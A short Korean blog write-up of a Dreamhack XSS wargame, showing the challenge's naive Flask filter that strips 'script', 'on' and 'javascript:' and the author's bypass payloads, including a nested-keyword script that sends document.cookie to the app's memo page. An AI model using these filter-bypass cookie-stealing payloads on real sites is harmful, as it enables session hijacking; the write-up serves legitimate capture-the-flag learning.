반응형
vuln 페이지에 들어가 보면 이미지 태그를 사용했음을 알 수 있다.
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
/vuln에서 param 값을 입력받고 xss_filter함수로 값을 넘겨준다.
xss_filter 함수를 보면 script, on, javascript를 필터링함을 알 수 있다.
먼저 vuln 페이지에서 필터링 우회가 되는지 URL에 입력했다.
<sscriptcript>alert(1)</sscriptcript>를 param에 입력하고 이때 script, on, javascript은 ""으로 필터링된다.
따라서 s+script+cript = s+""+cript = script가 되어 alert창이 잘 출력되었다.
<sscriptcript>location.href="/memo?memo="+document.cookie</sscriptcript>
flag페이지에서 처음에는 이렇게 입력했었는데 on도 필터링되기 때문에 memo 페이지에 flag가 출력되지 않았다.
<sscriptcript>locatioonn.href="/memo?memo="+document.cookie</sscriptcript>
위와 같이 입력하여 on도 필터링 우회를 했더니 해결되었다.
반응형
'Dreamhack > Web' 카테고리의 다른 글
csrf-2 (0) | 2023.11.09 |
---|---|
csrf-1 (0) | 2023.11.09 |
[wargame.kr] fly me to the moon (0) | 2023.11.09 |
simple_sqli (0) | 2023.11.09 |
[wargame.kr] login filtering (0) | 2023.11.09 |